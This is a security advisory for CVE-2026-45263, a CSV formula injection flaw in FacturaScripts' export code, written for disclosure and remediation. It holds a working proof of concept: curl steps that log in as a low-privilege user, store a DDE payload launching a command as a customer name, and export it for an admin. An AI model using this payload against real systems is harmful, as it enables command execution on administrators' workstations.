high · 8CVE-2026-45263Jul 14, 2026

CVE-2026-45263: FacturaScripts CSV Formula Injection in CSVExport

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A low-privilege FacturaScripts user can store a spreadsheet formula in any text field (such as a customer name), and when an admin exports that data to CSV, the formula executes inside Excel or LibreO

Packagefacturascripts/facturascripts
Ecosystemcomposer
Affected<= 2026.1

The problem

Every list and document export in FacturaScripts routes through `Core/Lib/Export/CSVExport.php::writeData()`. That method wraps each string cell in the configured delimiter and concatenates it directly into the CSV row with no check on the first character.

Spreadsheet applications treat cells that begin with `=`, `+`, `-`, `@`, `\t`, or `\r` as executable formulas. The application's only input filter, `Tools::noHtml()`, strips HTML metacharacters (`< > " '`) but leaves formula-trigger characters completely untouched.

Any low-privilege user who can insert or update a customer, supplier, product, or contact record can therefore plant a payload that rides silently in the export until an admin opens the file.

Proof of concept

A working proof-of-concept for CVE-2026-45263 in facturascripts/facturascripts, with the exact payload below.

bash
# 1. Obtain a CSRF token and log in as a low-privilege user.
TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \
  | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1)
curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \
  --data-urlencode "fsNick=lowpriv" \
  --data-urlencode "fsPassword=lowpriv1234" \
  --data-urlencode "multireqtoken=$TOKEN" \
  --data-urlencode "action=login" \
  http://127.0.0.1:8081/login -o /dev/null

# 2. Fetch a fresh CSRF token for the EditCliente form.
TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \
  | grep -oP 'multireqtoken" value="\K[^"]+' | head -1)

# 3. Plant a DDE payload as the customer name.
curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \
  --data-urlencode "multireqtoken=$TOKEN" \
  --data-urlencode "action=insert" \
  --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \
  --data-urlencode "cifnif=11111111H" \
  -o /dev/null

# 4. As an admin, trigger the standard list-customers CSV export.
curl -s -b /tmp/fs-cookie2 \
  'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \
  -o /tmp/export.csv

# 5. Confirm the formula survived unescaped.
grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv
# Verified output:
# "11111111H";"";"1";""...;"=SUM(1+1)*cmd|/c calc!A1";...

The root cause is a missing formula-leader check in `CSVExport::writeData()` (lines 253-267). The method produces `"<value>"` for every string cell. Because `=SUM(1+1)*cmd|/c calc!A1` starts with `=`, Excel and LibreOffice treat the cell as a formula and invoke Dynamic Data Exchange (DDE), which can spawn arbitrary processes on the admin's workstation.

The upstream sanitiser `Tools::noHtml()` (`Core/Tools.php:45`) only removes `< > " '`, none of which overlap with the OWASP CSV-injection trigger set (`= + - @ \t \r`). This means payloads survive storage and export verbatim.

The recommended patch prepends a single-quote (`'`) to any string cell whose first character is in that trigger set, the standard OWASP force-as-text guard. The same fix needs to be applied to `writeHeader()` and `XLSExport::getCursorRawData()` for complete coverage.

The fix

Upgrade to a version of FacturaScripts that includes the patched `CSVExport::writeData()`. The fix adds a `FORMULA_TRIGGERS` constant (`= + - @ \t \r`) and prepends a literal single-quote to any matching cell before it is wrapped in the CSV delimiter, following OWASP CSV-injection prevention guidance.

Until you can upgrade, restrict the `Update`/`Insert` role permissions on exportable models (Cliente, Proveedor, Producto, Variante, Contacto) to fully trusted users only.

Reporter not attributed.

References: [1][2]

Related research